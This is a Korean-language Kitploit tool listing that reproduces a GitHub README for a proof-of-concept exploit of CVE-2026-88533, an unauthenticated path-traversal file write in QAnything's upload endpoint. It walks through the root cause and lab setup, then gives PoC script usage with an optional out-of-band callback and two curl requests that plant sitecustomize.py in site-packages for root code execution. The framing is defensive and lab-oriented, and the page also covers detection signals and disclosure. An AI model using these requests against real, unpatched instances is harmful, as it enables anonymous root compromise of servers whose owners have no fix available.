Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-88533 — CVE-2026-88533에 대한 PoC 및 실습 재현으로, QAnything의 업로드 엔드포인트에서 발생하는 경로 탐색을 통한 인증되지 않은 임의 파일 쓰기로 root RCE에 이르는 취약점입니다. | Kitploit
도구/GitHubGitHub/hemlock-lyk/cve-2026-88533
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingLearning & EducationLabs & Practice
GitHubhemlock-lyk/cve-2026-88533

CVE-2026-88533

CVE-2026-88533에 대한 PoC 및 실습 재현으로, QAnything의 업로드 엔드포인트에서 발생하는 경로 탐색을 통한 인증되지 않은 임의 파일 쓰기로 root RCE에 이르는 취약점입니다.

저장소 보기
110시간 23분 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-88533: 인증되지 않은 임의 파일 쓰기 → QAnything에서 루트 RCE

CVE ID: CVE-2026-88533 (MITRE에서 할당, 레코드 게시 대기 중) 제품: netease-youdao의 QAnything — 오픈소스 RAG / 지식베이스 QA 플랫폼 영향 버전: v1.4.x부터 v2.0.0까지 (기본 브랜치 qanything-v2, 최종 커밋 65de104까지) 수정 버전: 없음 — 2025-03-12 이후 프로젝트 유지보수 중단; 유일한 정화(sanitization) 수정(PR #483)은 레거시 master 브랜치에만 존재하며 qanything-v2에 병합된 적 없음 취약점 유형: CWE-22 경로 순회(Path Traversal) 영향: 인증되지 않은 임의 파일 생성 → uid=0(root) 권한으로 원격 코드 실행 발견자: Yankui Li


요약

파일 업로드 엔드포인트 POST /api/local_doc_qa/upload_files는 공격자가 제어하는 멀티파트 filename을 가져와 경로 구분자를 정화하지 않고 목적지 경로로 사용합니다. 가 를 다시 로 확장하고, 전각 문자 필터링과 길이 잘라내기는 와 절대 경로를 그대로 남겨두며, 은 . 그 결과 는 프로세스가 접근할 수 있는 어디든 공격자 제어 콘텐츠를 씁니다 — 기본적으로 컨테이너 내부입니다.

urllib.parse.unquote()
%2f
/
../
os.path.join(base, name)
name이 절대 경로일 때 base를 완전히 버립니다
open(file_location, "wb")
root

이 제품은 어디에도 인증이 필요하지 않으므로 (user_id/user_info는 평범한 요청 파라미터입니다), 네트워크에서 접근 가능한 모든 인스턴스가 이 공격을 익명으로 받아들입니다.

근본 원인

root@kitploit:~
handler.py :: upload_files
    file.name  ──►  urllib.parse.unquote()          # %2f → "/"
              ──►  full-width char filter           # 외관상으로만
              ──►  truncate_filename()              # 길이 제한, "/" 또는 ".." 필터링 없음

core/local_file.py :: LocalFile.__init__
    file_location = os.path.join(file_dir, file_name)   # 절대 경로 name → base 버려짐
    open(file_location, "wb")                           # 임의 쓰기

이 취약점을 안정적으로 악용 가능하게 만드는 두 가지 속성:

  1. 절대 경로가 바로 작동함 — ../ 개수를 셀 필요 없음.
  2. 상대 경로 순회도 작동함 — unquote가 어떤 필터보다도 먼저 실행되므로 %2e%2e%2f가 살아남음.

같은 코드베이스 내의 강화 대비 사례: upload_faqs 엔드포인트는 파일명에서 /를 _로 바꿉니다. upload_files는 그런 처리를 받은 적이 없어 유일한 쓰기 벡터가 되었습니다.

참고: LocalFile.__init__에는 if not os.path.exists(file_location) 가드가 있어 새 파일만 생성할 수 있고 기존 파일은 덮어쓸 수 없습니다. 따라서 악용은 실행 가능한 위치의 새 파일을 대상으로 합니다.

임의 쓰기에서 루트 RCE로

공식 Docker 이미지는 Python 백엔드를 root로 실행합니다. CPython은 인터프리터 시작 시 site-packages에서 sitecustomize.py를 자동으로 임포트합니다 — 다음 위치에 새 파일을 떨어뜨리면:

root@kitploit:~
usr/local/lib/python3.10/site-packages/sitecustomize.py

(7×../ 상대 경로 또는 절대 경로) 백엔드가 다음에 시작될 때 임포트되어 공격자 코드가 uid=0(root)로 실행됩니다.

왜 앱 디렉터리가 아니라 site-packages인가? CPython은 sys.path[0]을 삽입하기 전에 site.py를 실행하므로, 진입 스크립트 옆의 sitecustomize.py는 자동 임포트되지 않습니다. site-packages가 유일하게 신뢰할 수 있는 투하 지점입니다.

다른 벡터들은 테스트 후 배제되었습니다 (완전성을 위해 기록):

  • /etc/cron.d/ — 디렉터리가 존재하고 쓰기를 받아들이지만, 이미지에 cron 데몬이 없어 페이로드를 실행하는 것이 없습니다.
  • 기존 설정/코드 파일 덮어쓰기 — exists 가드에 의해 차단됨.

실습 환경 재현

공식 이미지 + 고정된 취약 소스 (커밋 65de104):

root@kitploit:~
git clone <this-repo> && cd CVE-2026-88533
git clone https://github.com/netease-youdao/QAnything
cd QAnything && git checkout 65de104 && cd ..
docker compose -f docker-compose-lab.yaml up -d
# wait for the backend:
curl http://127.0.0.1:8777/api/health_check

PoC 사용법 (의존성 없음, Python 3 표준 라이브러리만 사용)

PoC 스크립트는 이 저장소에 포함되어 있습니다 (poc_qanything_cve_2026_88533.py) — 아래의 모든 증거 항목은 위 실습 스택에 대해 이를 실행하여 생성되었습니다. 클론하고 정확한 출력을 직접 재현하세요:

root@kitploit:~
# Step 1 — write primitive (harmless): marker written to /tmp inside the
# container via absolute-path multipart filename, then read back as proof
python poc_qanything_cve_2026_88533.py --mode check --container qanything-container-local

# Step 2 — full chain (LAB ONLY): sitecustomize.py into site-packages,
# container restart, code execution proven as uid=0(root)
python poc_qanything_cve_2026_88533.py --mode full --container qanything-container-local

# Optional out-of-band callback for network-level proof:
#   ... --mode full --oob http://your-oob-endpoint/cb

--mode full은 대상 컨테이너를 한 번 재시작합니다 (문서화된 동작; CPython 임포트가 시작 시 발동됨). 모든 것은 기본적으로 안전하게 제공됩니다: 리버스 셸 없음, 파괴적 페이로드 없음 — 데모 페이로드는 id의 출력을 담은 마커 파일을 씁니다.

공격 트래픽의 모습

전체 공격은 두 번의 HTTP POST입니다; 탐지 콘텐츠가 매칭해야 할 대상은 이것입니다 (절대 경로 또는 ..//%2f 시퀀스를 담은 멀티파트 filename이 핵심 신호입니다):

root@kitploit:~
# 1) anonymous knowledge base
curl -s -X POST http://TARGET:8777/api/local_doc_qa/new_knowledge_base \
  -H "Content-Type: application/json" \
  -d '{"user_id":"anyuser","user_info":"1234","kb_id":"KBattacker1","kb_name":"x"}'

# 2) upload: the filename IS the destination path (absolute path also works)
curl -s -X POST http://TARGET:8777/api/local_doc_qa/upload_files \
  -F "user_id=anyuser" -F "kb_id=KBattacker1" -F "mode=strong" \
  -F '[email protected];filename=../../../../../../../usr/local/lib/python3.10/site-packages/sitecustomize.py'

증거

아래의 모든 증거는 docker-compose-lab.yaml로 구축한 실습 스택에 대해 실행한 poc_qanything_cve_2026_88533.py (이 저장소의 스크립트)의 실제 터미널 출력입니다. 어떤 단계도 위조되거나 시뮬레이션되지 않았습니다 — 스크립트는 모든 검사가 통과하지 않으면 0이 아닌 값으로 종료하므로, 체인을 처음부터 끝까지 직접 검증할 수 있습니다.

실습 스택 — 공식 이미지 + 최소 의존성, 모든 컨테이너 정상:

Lab stack

--mode check — 인증되지 않은 쓰기 프리미티브 확인: 마커가 절대 경로 멀티파트 파일명을 통해 업로드 디렉터리 밖에 쓰였고 컨테이너 내부에서 다시 읽혔습니다:

Check mode

--mode full — 컨테이너 재시작 후 CPython이 심어둔 sitecustomize.py를 자동 임포트합니다; 페이로드의 마커가 uid=0(root)로 실행되었음을 증명합니다:

Full chain

위에 표시된 --mode full 실행의 전체 터미널 기록도 그대로 포함되어 있습니다: evidence/full-chain-run-2026-09-18.log — 6/6 검사 [OK], 판정 RCE CONFIRMED, uid=0(root)를 증명하는 페이로드 마커와 타임스탬프 (로그의 nonce/kb_id 값은 실행마다 무작위로 생성되므로, 직접 실행하면 다를 것입니다 — 이는 예상된 일입니다).

CVE 레코드 페이지의 스크린샷은 레코드가 게시되면 추가될 예정입니다.

타임라인

날짜이벤트
2026-08-25취약점 발견; 라이브 인스턴스에 대해 쓰기 프리미티브 검증 (무해한 마커 + 읽기 확인)
2026-08-29격리된 로컬 실습 환경에서 전체 RCE 체인 재현; 보고서 작성; cveform을 통해 MITRE (CNA-LR)에 제출
2026-09-18MITRE에서 CVE-2026-88533 할당
미정CVE 레코드 게시; 이 저장소와 상세 분석 문서 공개

면책 조항

이 자료는 방어적 연구 및 교육 목적으로 게시됩니다. 소유하거나 테스트에 대한 명시적 서면 승인을 받은 시스템에만 사용하십시오. DISCLAIMER.md를 참조하십시오.

도구 다운로드